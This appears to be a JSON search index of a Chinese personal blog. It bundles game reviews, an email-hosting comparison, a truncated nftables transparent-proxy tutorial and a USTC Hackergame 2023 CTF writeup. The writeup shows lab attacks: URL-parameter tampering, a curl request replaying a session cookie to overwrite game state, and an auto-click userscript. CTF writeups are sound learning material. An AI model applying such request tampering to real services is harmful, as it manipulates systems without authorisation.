。禁止左转的地方偏左转，公交车道非要开进去，高速上偶尔还会出现不知道哪来的一辆车创飞数辆车，把整条路都堵了，警车都过不来。确实是生机勃勃的城市呢，可惜没有交警不能罚款，不然我估计连税都不用收了，不过貌似市民也没有驾照这回事。\n《公 交 车 道》 一次离奇事故 同样的问题也出现在行人上，路口没有人行道的地方就嗯横穿，车还不得不让。说到人行道啊，这一代的天桥就是更抽象的东西了。托坡道的福，天桥要占用的空间比路口本身大上数倍，几乎不具备实用性，即使降低到允许最低的高度6.25m也是如此。下面是我修的唯一一个人行天桥，自从我发现它占空间大还没人走之后，我就再也没修过了。顺便说一下，与某些人设想的不同，行人的行为似乎跟教育水平没啥关系。\n没卵用的天桥 公共交通建筑也还是有缺憾，地铁站天生不带多线换乘，只能在远处再修一个站，然后让线路强行下穿（不搞站内换乘，太有伦敦味儿了）。\n可能有些人会争论，前作的车辆行为也很抽象，凭空消失更多，地铁站也没有换乘，balabala。但前作开箱支持mod，而二代……还没有。车辆凭空消失问题，车道通行规则问题，TMPE能解决；地铁站换乘问题，有各种资产mod；天桥问题，可以移除“坡度过陡”提示；甚至地图过小，还可以解锁81格地图，建几个卫星城都行（我做到过100万人）。我在前作的创意工坊里订阅了80个mod；二代的mod系统，则不知道什么时候才能出现。\n教育和工业/办公区也是相对于一代改变不小的部分。我实在是搞不懂为什么小学的需求会那么大，一个30万人的城市里竟然有8万人要上小学，而只有数千人要上中学。每建一所小学，1500人的容量都会在两小时内被占满。综合性大学供不应求，但建了大学却没人上，难道游戏里的大学也分双一流和四非？\n奇怪的教育需求 单单是满足小学的需求外加几个研究设施，教育花费就已经跃升到了第一名，把建筑铲一大半建小学自然也不现实。再加上工业和办公需求被分开了，前作中把所有人都赶进办公区的减少污染取巧办法也就不管用了。\n至于多受诟病的性能问题反而并没有很严重，符合我对我电脑性能的期望，也可能是因为CO（Colossal Orders，即制作工作室，下同） 为玩家打了预防针。最低画质，满屏狗牙，主菜单还有70多帧，游戏内CPU能够几乎全部占满，在设置性能不足时“CPU优先用于模拟”（是的，提供了这个选择，很好）的情况下，4800H在大约20万人的时候差不多能维持3倍模拟速度。对于30万人的城市，一般能维持在10-15帧，目测最高模拟速度仅为1~1.5倍；而在人流量巨大的地铁站旁边的路口，会降到3帧以内，所幸拉远点就好了。\n最低画质下的画面质量 《城市：天际线2》现阶段确实令人着迷，也是我后期很大概率会补票的游戏。我相信CO会持续不断地优化它 （也会持续不断推出坑钱DLC） ，但以现在的质量，我可能暂时不会买，也不会再玩很多了。\n2024/03/17补充：\n这游戏有了非官方的Mod方案，也有了些比如允许车辆在红灯右转，增加小学容量，解锁所有格子，以及更改寻路违法代价等。然而，这些Mod仍然不稳定，并没有Harmony之类冲突解决方案，管理起来也麻烦，非官方的API也会在升级的时候break掉，于是游戏就会在毫无准备的情况下直接闪退，玩家完全没有头绪。然而一旦玩过这些Mod之后就完全无法忍受原版游戏的诸多问题了，于是我的选择是等Paradox Mods实装，看开发组嘴里能吐出什么象牙来。\n另外我算是知道了为什么市民不乘地铁了，这b游戏在人口十万之前，大部分人仍然会出门，而当人口越来越多，街道上却异常的空，因为大部分上学上班的都呆家里了，不出门。然而购物的人却还是正常出门，于是满大街都是购物的人，不禁让人怀疑这经济是不是好过头了。末了逛完又不知为啥要把宠物狗扔在街上，于是整条路上狗都比人多。\n理论上，每周一开发者都会在Steam上发Word of the Week，也就是工作周报。然而本该3月4日发布15期周报报道美术团队的周报没了，合着你们根本没有美术团队呗？其他好几期也遮遮掩掩，看似在深入游戏系统，实际上大部分都是打太极。Steam近期评价已经为多半差评（29% 好评）了，真是罪有应得。规模相当的《幻兽帕鲁》开发商Pocketpair还大大方方承认自己做的是个半成品呢，修起bug来也比CO快，CO社还要反过来抱怨“toxic”的社区环境，你特么不配，我呸。\n预计三月底之前官方的Paradox Mods就要发布beta了，观察一下，且看它能把这款差点暴死的游戏救到什么程度。\n2024/04/01补充：\n前几天CO兑现了它的承诺，Paradox Mods挂着一个大大的“Beta”如期而至。个人不介意没有创意工坊，毕竟如果真的能福利主机和Epic玩家，那也是个好事儿。许多代码mod已经渐渐往官方平台上开始搬运了，甚至还有启用成就的mod（那解锁DLC……？）。单单说这次更新来说，我的评价是非常正面的，超出我的预期。\n然而即使这样，也不得不提它目前的一些缺陷。这次只支持了地图和代码（机制和数值）mod，离在游戏里部署CR400AF-Z很遗憾还有点距离。模组稳定性也堪忧，目前没有1代的Harmony那样的机制，遇到过一次黑屏，一次HUD消失，不知道以后会不会还有类似的bug。许多mod作者也坚守Thunderstore和P社赌气，我的评价是开发商全责好吧。\n这款游戏应该还是会成为综合最好的城市建造模拟游戏，只是还需要很久，比我半年前预想的更久。且看CO如何推动历史的行程了。\n2024/07/05补充：\n果然这游戏的有意思玩法还是得靠Mod社区。虽然现在还没有官方的资产解决方案，但代码Mod已经开始欣欣向荣了。前述的Mod不兼容现象和站队分庭抗礼现象也基本消失了。前面提到的问题，大多也已经在一次次更新中被官方解决了，或是由Mod解决。还多亏了经济2.0，人一多也不会市中心空心化了，我们的游戏真是欣欣向荣呢。\n这里要特别提到无碰撞Mod，搭配可以到处设站台的Mod，可以自己修地铁站，自己修出入口，各种越行线和节点换乘，比官方的地铁站高到不知哪里去了。修天桥也不再是空谈，就是坡度有点阴间。\n当然我并不是说这款游戏已经值得买了；相反的是，大概再过三个月，到资产Mod开放再来决定也不迟，最迟应该也不会迟过12月初的秋促。毕竟我的差评还留在商店页面上呢。\n2026/01/10补充：\n好家伙又一年半过去了，在刚过去的12月里，开发者新增了资产Mod的支持，还有自行车、火车地铁车厂、港口等一系列免费或是收费的新机制新建筑。闪退和崩溃大大减少，现在的性能问题基本要么是自己性能不够要么更大概率是模组问题。更好的消息是Colossal Orders嗝屁了，地理距离几百米开外的新工作室变为P社直属，让游戏的开发不光要靠工作室奋斗，还要看P社的行程。\n目前最大的问题是数值的崩坏，摩天大楼DLC一栋办公楼能提供300多个车位、7000多个学院制大学的名额，或是多于一个分拣中心的邮件处理效率，甚至更暴力的全程矿脉+100%；而供应链DLC的建筑常常能够增加15%全城工业效率，这下工业区招不满人的问题彻底解决了。更别提几十万人之后无需求无迁入的鬼城问题了，不知道CO是不是见识了北美城市的空心化进程，但好像他们对低密度房屋也没需求。\n至于新的工作室还会不会把加号打成减号，我们拭目以待。\nhttps://steamdb.info/app/255710/\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"November 10, 2023","matchCount":0,"permalink":"/post/cities-skylines-2/","preview":"","title":"《城市：天际线 2》：未来可期，但不是现在"},{"content":"HG虐我千百遍，我待HG如初恋。\n*小菜鸡一个，写不了几道题，单纯记录一下。所有题目版权归USTCLUG所有。\nHackergame启动 初见题目，还以为是把相似度POST到服务器上，正准备curl一把梭，直到我点了一下提交。\n好家伙，地址栏出现了一个param，原来是个GET，直接把 similarity 改为114514，结束战斗。\n感觉发现规律了，签到题经常出现改改地址栏就能解决的题目……\n猫咪小测 今年的猫咪问答变简单了，感觉难度是逐年递减的亚子。再也没有20/21两年的压迫感了。\n想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》，应当前往中国科学技术大学西区图书馆的哪一层？\nGoogle到中科大图书馆网站，搜索馆藏，很容易找到在西区外文书库。回到网站首页找到馆藏分布，得外文书库在第 12 层。\n今年arXiv网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文，请问论文中作者计算出的鸡密度函数的上限为10的多少次方每立方秒差距？\n在arxiv.org的advanced search上选择天体物理（astro-ph），搜索“density of chicken”，只有一个候选结果。\n我也不知道什么叫每立方秒差距，但abstract有一句：\nWe find the most restrictive upper limit from the domains considered to be $10^{23}\\ pc^{−3}$, which ruffles the feathers of long-standing astrophysics theory.\n看来这abstract还真是简明扼要，答案就是 23。\n为了支持TCP BBR拥塞控制算法，在编译Linux内核时应该配置好哪一条内核选项？\nGoogle \u0026ldquo;linux tcp bbr option\u0026rdquo;，得到答案为 CONFIG_TCP_CONG_BBR。\n这个题目问GPT也能得到很好的效果。\n🥒🥒🥒：「我……从没觉得写类型标注有意思过」。在一篇论文中，作者给出了能够让Python的类型检查器MyPY mypy陷入死循环的代码，并证明Python的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上？\n不知道有没有人注意到“发表在今年的哪个学术会议上”这个很别扭的讲法，但题目从来没说是今年写的论文。在Google Scholar搜索“python type”，筛选今年的文章，然后……逐篇枚举。于是找到了答案Python Type Hints Are Turing Complete，发表在 ECOOP 2023上。\n题目的迷惑性还是很大的，一方面Google Scholars并不能搜到ECOOP上的内容（而是标注为drops.dagstuhl.de），另一方面仅靠标题和abstract并不能很容易对应题目的意思，甚至这篇文章也不是今年写的（2022年就挂在了arXiv上）。\n更深更暗 简单划了一下，看样子是个无限往下滑的网页，网页的长度会越来越长。直接打开开发者模式，搜索flag，解决。\n是我眼花了吗？我刚刚有一瞬间好像在残骸上看到了一个flag？\n或许也可以找一台足够低配的电脑，一直往下滑，生成跟不上滑动会卡，就能看到潜水艇字符画了\n旅行照片3.0 看样子旅行照片会比去年难一点儿，但不至于像21年一样没什么头绪。难点反而加在了日语上面。拜托组委会下次能不能找个英语系国家的地点……\n1、你还记得与学长见面这天是哪一天吗？（格式：yyyy-mm-dd）\n2、在学校该展厅展示的所有同种金色奖牌的得主中，出生最晚者获奖时所在的研究所缩写是什么？\n直接找到“学长”脖子上挂的牌子，STATPHYS 28，得到地址为东京大学附近，23年8月7-11日左右。打开Google Maps，在东京大学附近找喷泉和博物馆，很容易找到上野公園和東京国立博物館（实际上附近博物馆很多）。\n上野公園 打开街景一看，完全一样有没有。这条信息先放下。\n搜索奖牌上的名字M. Kosiba（小柴昌俊），得到他确实在东京大学任职过。MMII指2002年，他在2002年获得了帕诺夫斯基实验粒子物理学奖，以及诺贝尔物理学奖，查了一下，奖牌是诺奖的样式。\nGoogle搜索 “tokyo university nobel prize”（typo应该为university of tokyo），找到了东京大学理学部的 Science Gallery，确实是个展厅。在这个展厅中展出了三个诺贝尔物理学奖奖牌，分别为：\n小柴昌俊，2002，出生于1926/09/19 梶田隆章，2015，出生于1959/03/09 真锅淑郎，2021，出生于1931/09/21 经过一点对最小的梶田隆章的搜索：\nHe became director of the Center for Cosmic Neutrinos at the Institute for Cosmic Ray Research (ICRR) in 1999. As of 2017, he is a Principal Investigator at the Institute for the Physics and Mathematics of the Universe in Tokyo, and Director of ICRR.\n得到他在2015年位于 ICRR。回到题目，第一个问题直接在日期范围内进行暴力枚举，得到 2023-08-10。\n3、帐篷中活动招募志愿者时用于收集报名信息的在线问卷的编号（以字母S开头后接数字）是多少？\n4、学长购买自己的博物馆门票时，花费了多少日元？\nGoogle筛选含有“上野公園 大噴水”、2023年8月1-10日的网站，用日期反推这一日发生的活动，得到在举行“全国梅酒まつりin東京2023”，而且似乎确实在帐篷里，15时开始也符合信息。搜索“全国梅酒まつりin東京2023ボランティア”（2023年东京全国梅酒节 志愿者），很容易找到招募志愿者的网站（ボランティアSTAFF大募集！！第６回「全国梅酒まつりin東京2023」），得到问卷编号 S495584522。\n根据“马路对面的喷泉”这一信息，确定了博物馆指的是东京国立博物馆（Tokyo National Museum）。答案是 0，不知道为什么。\n5、学长当天晚上需要在哪栋标志性建筑物的附近集合呢？（请用简体中文回答，四个汉字）\n6、进站时，你在JR上野站中央检票口外看到「ボタン＆カフリンクス」活动正在销售动物周边商品，该活动张贴的粉色背景海报上是什么动物（记作A，两个汉字）？ 在出站处附近建筑的屋顶广告牌上，每小时都会顽皮出现的那只3D动物是什么品种？（记作B，三个汉字）？（格式：A-B）\n在STATPHYS 28网站上并没有找到10日晚上有什么活动，但on-site plenary and special session都在Yasuda Auditorium（安田讲堂）。蒙对了。\n搜索“ボタン＆カフリンクスJR上野”，点进第一个结果，是熊猫（如下图）。\n摊位的照片（图源上面的网站） 马里奥世界指的显然是Nintendo Tokyo，谷歌地图指示在渋谷駅（涩谷站）下车，按照“渋谷駅3D看板”搜索，很容易得到秋田犬。\n赛博井字棋 众所周知，只要两边水平 够高 都不是那么菜，那么井字棋就只能下平局。但是，如果能“吃掉”别人的棋子呢……？\n通过分析网络请求很容易看出，每次点击棋盘上没下的位置，都会发送一个形如 {\u0026quot;x\u0026quot;:\u0026quot;0\u0026quot;,\u0026quot;y\u0026quot;:\u0026quot;0\u0026quot;} 的JSON到服务器上，而服务器会返回一个描述棋盘的二维数组，还会有一个Set-Cookie。看起来每个棋盘状态都会有一个对应的Cookie。比如：\nbash 复制代码 $ curl -v -XPOST -H \u0026#39;Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz-wA.fN5F9EKrWxW87_WtN-noABlu2_U; HttpOnly; Path=/\u0026#39; -H \u0026#34;Content-type: application/json\u0026#34; -d \u0026#39;{\u0026#34;x\u0026#34;:\u0026#34;1\u0026#34;,\u0026#34;y\u0026#34;:\u0026#34;1\u0026#34;}\u0026#39; \u0026#39;http://202.38.93.111:10077/\u0026#39; Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 202.38.93.111:10077... * Connected to 202.38.93.111 (202.38.93.111) port 10077 \u0026gt; POST / HTTP/1.1 \u0026gt; Host: 202.38.93.111:10077 \u0026gt; User-Agent: curl/8.4.0 \u0026gt; Accept: */* \u0026gt; Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz-wA.fN5F9EKrWxW87_WtN-noABlu2_U; HttpOnly; Path=/ \u0026gt; Content-type: application/json \u0026gt; Content-Length: 17 \u0026gt; \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: nginx/1.23.2 \u0026lt; Date: Sat, 28 Oct 2023 12:33:57 GMT \u0026lt; Content-Type: application/json \u0026lt; Content-Length: 38 \u0026lt; Connection: keep-alive \u0026lt; Vary: Cookie \u0026lt; Set-Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz_tQ.cxnMFfNUi4gSU6CECDbO8E4evjw; HttpOnly; Path=/ \u0026lt; {\u0026#34;board\u0026#34;:[[1,0,0],[0,-1,0],[0,0,-1]]} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ curl -v -XPOST -H \u0026#39;Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz-wA.fN5F9EKrWxW87_WtN-noABlu2_U; HttpOnly; Path=/\u0026#39; -H \u0026#34;Content-type: application/json\u0026#34; -d \u0026#39;{\u0026#34;x\u0026#34;:\u0026#34;1\u0026#34;,\u0026#34;y\u0026#34;:\u0026#34;1\u0026#34;}\u0026#39; \u0026#39;http://202.38.93.111:10077/\u0026#39; Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 202.38.93.111:10077... * Connected to 202.38.93.111 (202.38.93.111) port 10077 \u0026gt; POST / HTTP/1.1 \u0026gt; Host: 202.38.93.111:10077 \u0026gt; User-Agent: curl/8.4.0 \u0026gt; Accept: */* \u0026gt; Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz-wA.fN5F9EKrWxW87_WtN-noABlu2_U; HttpOnly; Path=/ \u0026gt; Content-type: application/json \u0026gt; Content-Length: 17 \u0026gt; \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: nginx/1.23.2 \u0026lt; Date: Sat, 28 Oct 2023 12:33:57 GMT \u0026lt; Content-Type: application/json \u0026lt; Content-Length: 38 \u0026lt; Connection: keep-alive \u0026lt; Vary: Cookie \u0026lt; Set-Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz_tQ.cxnMFfNUi4gSU6CECDbO8E4evjw; HttpOnly; Path=/ \u0026lt; {\u0026#34;board\u0026#34;:[[1,0,0],[0,-1,0],[0,0,-1]]} 既然点击浏览器中已经有棋子的位置没有反应，那么就可以使用curl模拟请求，像上面这样。只需要在浏览器中随便点击一个棋子，然后复制Set-Cookie值，再把请求体设为刚刚电脑选择的位置，就可以吃掉电脑的棋子了。终于有三个棋子连起来的时候，服务器的response里面就会带flag。\nPS：状态信息似乎并不存在于服务器中，而是直接编码于cookie中。在session的值中，英文句号之前的位置就是base64编码的棋盘状态和做题者的token（上面的token我都处理啦，不要解码了）。\n组委会模拟器 这道题的核心在于如何快速找到对应的元素并模拟点击。靠人手点肯定不行的，但丰富的 刷网课 冲浪经验告诉我，可以使用用户脚本来自动扫描符合正则的元素。把它加载到对应的插件上（比如Violentmonkey），就可以自动运行了。\n我一行代码都没写，全靠GPT。对于写简单的代码，GPT已经完全可用了。附上完整对话\njavascript 复制代码 // ==UserScript== // @name Hackergame Auto Withdraw // @namespace Violentmonkey Scripts // @match http://202.38.93.111:10021/ // @grant none // @version 1.0 // @author cyp0633 (with GPT-3) // @description 2023/10/30 16:06:16 // ==/UserScript== (function() { \u0026#39;use strict\u0026#39;; // Regular expression to match \u0026#34;hack[...]\u0026#34; with any text inside \u0026#34;[...]\u0026#34; const regex = /hack\\[[^\\]]\u0026#43;\\]/; // Function to detect and click on elements matching the regular expression function autoClickHackContent() { const elements = document.querySelectorAll(\u0026#39;*\u0026#39;); // Select all elements on the page (you can narrow this down if needed) for (const element of elements) { if (regex.test(element.textContent)) { element.click(); } } } // Run the detection function every 1 second setInterval(autoClickHackContent, 1000); })(); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // ==UserScript== // @name Hackergame Auto Withdraw // @namespace Violentmonkey Scripts // @match http://202.38.93.111:10021/ // @grant none // @version 1.0 // @author cyp0633 (with GPT-3) // @description 2023/10/30 16:06:16 // ==/UserScript== (function() { \u0026#39;use strict\u0026#39;; // Regular expression to match \u0026#34;hack[...]\u0026#34; with any text inside \u0026#34;[...]\u0026#34; const regex = /hack\\[[^\\]]+\\]/; // Function to detect and click on elements matching the regular expression function autoClickHackContent() { const elements = document.querySelectorAll(\u0026#39;*\u0026#39;); // Select all elements on the page (you can narrow this down if needed) for (const element of elements) { if (regex.test(element.textContent)) { element.click(); } } } // Run the detection function every 1 second setInterval(autoClickHackContent, 1000); })(); 这段代码每秒钟遍历一次网页上的元素，遇到匹配flag正则的内容就点击它。在MBP13 2020上，使用Firefox，速度完全可以跟上撤回消息。\n","date":"November 4, 2023","matchCount":0,"permalink":"/post/hackergame-2023/","preview":"","title":"USTC Hackergame 2023 个人 Writeup"},{"content":"写下这篇文章是在2023年下旬，距离2077的发售日2020年12月10日，已经过去了差不多三年。如果说发售时一款游戏的评价取决于开发商的野心，那么它真正完善时的评价则取决于开发商的良心——于是，波兰蠢驴在三年中发布了无数的Bugfix，以及一个大型资料片《往日之影》。正好借着降价，我买了同捆包补票，体验一下带有狗镇的二周目，顺便简单写点儿东西。\n游戏稳定性。 这款游戏最受诟病的地方，毫无疑问是无穷无尽、源源不断的bug，直到推出《往日之影》后，修复仍然是2.01更新的主要内容。但好在游玩了几天2.0版本之后，已经不再有“『黑』梦”这么离奇的bug，最干扰正常游玩的闪退问题也在2.01版本中被修复。但仍然有少数影响游玩的问题，比如在进行“好车不怕晚”任务时，车进入车库后直接下车，则无法上车把车停进预期位置；通过侧门离开车库，却发现院门和车库侧门都已无法打开，角色被困在院子里，无奈只能读档。此外还有不止一次遇到的敌人尸体悬浮bug（见下图），只能说修了一个又冒出来一个，bug仍然是这款游戏的主要缺点。\n敌人的尸体悬浮 世界观。 好了，主要缺点讲完了，其灵魂则是富有生机而又死气沉沉的夜之城。如此一个看不到希望的吃人社会，在CDPR的描绘下像是真实摆在面前一样。我必须承认夜之城地图并不大，但承载的却是一个崭新而庞大的赛博朋克世界观。而如此规模的世界观，则承载于回味悠长的主线和支线任务、巨量额外剧情文本，甚至动画《边缘行者》之上。精彩的支线任务我首推《猎杀(The Hunt)》，然后是德拉曼线《机械与人格(Human Nature)》（滴滴，你个王八蛋）以及《向法律宣战(I Fought The Law)》。每个都令人回味十足，《猎杀》通关之余甚至会带来强烈的精神污染；赛博精神病关卡虽然流程都是同样的套路，但人们疯掉的理由各不相同。\n主线故事。 让我们抛掉CDPR画的饼，丢下所谓的分支剧情，起码本体的主线剧情在刻画人物和世界的方面还是很成功的，我会给一个好评。然而比起《往日之影》，本体的剧情就要逊色不少，当你打通《往日之影》时，一定会像我一样赞叹。\n本地化。 本地化又是一个值得称道的方面。少见的地道脏话且不论，我也能感受到CV们投入了情感的演绎。除了配音，各种文本的翻译也恰如其分。整款游戏玩下来，就本地化方面，我完全感受不到是一个外国团队做的游戏。狗镇的台词更上一层楼，加入了更多口语化表达，甚至neta了一个张家辉梗，只能说团队里有人是懂的：\n你知道我这七年是怎么过的吗？ 画面。 画质我大概没啥权利评判，毕竟我是1650顶着FSR 2.1玩中画质的极低配玩家，但相比来说，三年内优化提高了不少。\n最后附上我在Steam上写的评价：\n同样是玩2077，可以选择10小时快速过主线剧情打通，也可以选择花50（+往日之影目前20）小时，边在夜之城遨游边体验剧情。\n体验上完全是两款游戏，前者很平庸，而后者完全能值回300块钱票价。为什么不试试后者呢？\n","date":"October 1, 2023","matchCount":0,"permalink":"/post/cyberpunk-2077/","preview":"","title":"《赛博朋克 2077》：欢迎来到黑暗未来"},{"content":"不可否认的是，maddy 是一款非常优秀、令人舒适的邮件服务器软件，关于安装，我写过一篇文章1。在使用它的接近两年内，除了升级，我完全没有动过它，就连升级时也基本是无痛的。如果谁仍然想要自建一个邮件服务器，我还是会推荐maddy。五美元一月的Vultr托管邮件也十分稳定，25端口也只需要开个工单就能开通，同时Maddy占内存极小，跑点儿其他的也不亏。一切都按预期正常工作着，但还是有一些放弃自己托管的理由：\n有时会当成spam，这个得怪收件人信箱，但确实是个普遍问题2； 没有一个好用的webmail，之前用的Rainloop总感觉差那么点意思，而且独立的webmail总要多占一份空间； 担心downtime，所以非常要紧的服务一直都用Gmail （实际上downtime比我梯子挂掉的时间还少） ； 每个月得花 $5，虽然不多，但是也不少（手上其他服务器不给开25端口）； 大四闲得慌。 Maddy作为部署简单、功能全面的邮件服务器可以说是先行者了，现在也涌现了许多很好的自托管服务，比如 mox 解决了webmail的问题。当然这篇文章写出来不是为了推荐自托管服务的，这个话题可能也不是由我来讨论了。\n之所以想到放弃，缘于前两天看到了一个 V 站的帖子，然后看到了最低19美元一年的 Migadu，学生开工单享受半价优惠。这家从文档到服务都非常实诚，只按照使用量（收发量、邮件存储）计费，（几乎）不限制域名和邮箱数量，每个邮箱有自己的收发件箱，ToS里全都是“只有best effort服务，但是真的best effort\u0026quot;，域名数和使用空间等限制都是软限制，稍微超出一点儿也不打紧，甚至还在文档里diss了友商所谓的“加密”3。当然最重要的原因是我可以省下每年60美元的服务器，一年就能省下350块钱。\n但Micro套餐内仅有5GB空间和每天20封邮件，虽然都是软限制，可以偶尔超过，但考虑到我博客的评论系统有回复自动发邮件提醒，万一评论区两个人对起线来……如果是Migadu，我可能只能选择90美元一年的Mini套餐了。这两个之间差价有点儿大，于是看向了Fastmail。Standard套餐50美元一年，还是能省下70多块钱；空间和发信量的痛点也都解决了，虽然是统一的信箱但是也不影响使用，也能使用不同的地址进行收发。如果不想用自己的域名了，还可以再添加一些Fastmail提供的后缀结尾的邮箱（甚至有 @fastmail.cn）。\n如果抛开套餐用量比较两家的服务，我认为它们走了两条不同的路：Migadu为本就是tech-savvy的用户服务，将尽可能多的技术细节提供给用户，只做最纯粹的电子邮件，推荐的也是开源邮件客户端和开源迁移方案；而Fastmail更多的面向普通用户，可以直接导入Gmail等服务，针对每个IMAP客户端有应用专用密码，甚至连域名都可以在它那里买。\n整理一个表格，对比Fastmail和Migadu套餐的区别：\n套餐 Fastmail Migadu 年付价格 (USD) 50 19 (Micro) / 90 (Mini) 每天收/发限制 / 200/20 (Micro) / 1000/100 (Mini) 存储空间 30GB 5GB (Micro) / 30GB (Mini) 多地址/域名处理 单个域名；可添加邮箱地址，共用一个信箱 无限邮箱，无限域名，各有单独信箱 其他服务 日历、联系人、记事本 日历、联系人（beta） 如果Migadu能够以50美元一年以下的价格提供一个存储\u0026amp;发信多一点儿的套餐，我决策时一定会选择它；然而没有，所以还是投奔了Fastmail。\n如果只有中国手机号，Fastmail的注册会卡在手机验证码的一关，开工单就能解决；如果使用其他人的referral，也需要在工单里说明，客服会手动加上首年10% 的优惠。Fastmail和Migadu两者应该是都不支持支付宝和微信的，但支持PayPal（中国版支持不明）和Stripe（理论上支持银联卡）。\nFastmail有一个迁移向导，输入原来的IMAP服务器、账户名称和密码，就能把信箱搬过来了，功能倒是很像IMAPSync，只不过在它的服务器上运行。效果不错，迁移也很快，非常舒服。\n不得不说，国内的访问体验确实有点慢，远比不上国内的服务 （废话） ，但相对之前自建的速度其实快多了。说真的，只要不被墙就很好了。\n尴尬的是，迁过来的消息总共只用了0.1GB；又翻了翻一直以来用的QQ邮箱和Gmail，分别用了146MB和420MB，这么看的话5GB的空间还是长期够用的。又转念一想，我博客这个鸟不拉屎的地方也基本没人发评论，每天20封其实也够用了。意识到这个问题后，再次反思放弃自托管的五个理由，发现只有最后一个最真切。别说了，几年前那股折腾劲儿又上来了。\n最后，如果你也想找个邮件托管商，我推荐Migadu的Micro套餐，完全够用；如果你订了Fastmail，可以使用我的 referral 注册，你享受首年10% 优惠，我也可以每月得到约0.5美元的余额。\nhttps://cyp0633.icu/post/self-hosting-mail-maddy-rainloop/\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://news.ycombinator.com/item?id=32715437\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://migadu.com/procon/#not-encrypted\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"October 1, 2023","matchCount":0,"permalink":"/post/give-up-selfhosted-email/","preview":"","title":"我最终还是放弃了自己托管邮箱——转为了 Fastmail"},{"content":"透明代理这个东西说起来很容易理解，就是设备感知不到有的流量被代理，却有开了代理的效果。这个东西对于学习境外内容的体验提升很大，因为部分应用并不遵循系统代理设置，或设置很麻烦。避免将代理配置文件存放在电脑上，也可以防止电脑上的应用窃取代理信息。\n透明代理本身在中文互联网已经是聊烂了的话题，但使用Nftables实现的透明代理很少，在主路由上实现透明代理的更少。我的网络拓扑大概是：外部网络 - R2S - 无线AP - 其他设备。本文将基于这个拓扑，实现在R2S上使用Nftables实现透明代理。\n这个东西作为上篇文章的一个小节显得有点喧宾夺主了，所以就单独写一篇文章吧。\n前置知识 只需要基础的计网知识，以及初步了解Nftables（起码能看懂规则）。\n另外丢掉那张老旧的（you know what）Netfilter数据包流向图吧，由于Nftables的链是可以自由添加、自定义优先级的，现在它应该是这样1：\nNetfilter 数据包流向图 思路 要达到的效果是这样的：\nDHCP服务器将默认DNS服务器指向本机的Telescope DNS，由其负责解析2，直连DoH 局域网内通信不经过代理工具，包括DHCP等特殊服务 其他来自局域网内的TCP/UDP流量都经过代理工具，由代理工具分流 不代理路由本身流量，暂时没需求 也就是说流量会经过Nftables和代理工具两次分流。对于较为固定、不高于三层的分流规则，交给Nftables效率更高；而对于按站点分流之类的规则，则交给代理工具，更灵活。\n对于第一条，局域网内机器发送数据包的路径为：\n局域网内客户端发出DNS请求 Nftables prerouting 对目的为局域网内的请求进行直连，不代理 Telescope DNS接收到请求（此处设未缓存） Telescope DNS向上游发出请求，不带任何meta mark Nftables postrouting 进行NAT 远程DNS服务器收到请求，返回结果 Nftables prerouting 对来自局域网外的请求直连 Telescope DNS收到上游回复 Telescope DNS将结果返回给客户端 Nftables postrouting 进行NAT 客户端收到回复 对内网的包：\n局域网内客户端发出请求 Nftables prerouting 对目的为局域网内的请求进行直连，不代理 进入 forward 链，转发给目标机器 或/同时被本机处理 对分流决定代理的正常TCP/UDP流量：\n局域网内客户端发出请求 Nftables prerouting 对于来自局域网、目标为外网的请求，进行 tproxy 代理工具接收并封装请求，并发送到代理服务器，带有meta mark 2 Nftables postrouting 进行NAT 代理服务器处理代理请求，返回结果 Nftables prerouting 对于来自外网的请求，不代理（直接发往代理工具） 代理工具接收并解封装请求，将结果返回给客户端 Nftables postrouting 进行NAT 客户端收到回复 对于决定不分流的正常TCP/UDP流量，其实也和上面相似，只不过代理工具直接将请求发往目标服务器，目标服务器也直接把结果返回给代理工具。\n实现 类似于 Xray TProxy 透明代理 之类的本机透明代理方案很多，一般也适用于旁路由。核心的规则其实就两条，也就是在 prerouting 的链上加入（tproxy 仅支持 prerouting）：\nperl 复制代码 ip protocol tcp tproxy to 127.0.0.1:12345 meta mark set 1 ip protocol udp tproxy to 127.0.0.1:12345 meta mark set 1 1 2 ip protocol tcp tproxy to 127.0.0.1:12345 meta mark set 1 ip protocol udp tproxy to 127.0.0.1:12345 meta mark set 1 然而就以上面链接中这篇教程的配置为例，它包含如下三行规则，通过跳过目的为本地IP的代理，同时避免了远程服务器发回的流量被重新代理和局域网内主机间流量被代理的问题：\nperl 复制代码 ip daddr $RESERVED_IP return ip daddr 192.168.0.0/16 tcp dport != 53 return ip daddr 192.168.0.0/16 udp dport != 53 return 1 2 3 ip daddr $RESERVED_IP return ip daddr 192.168.0.0/16 tcp dport != 53 return ip daddr 192.168.0.0/16 udp dport != 53 return 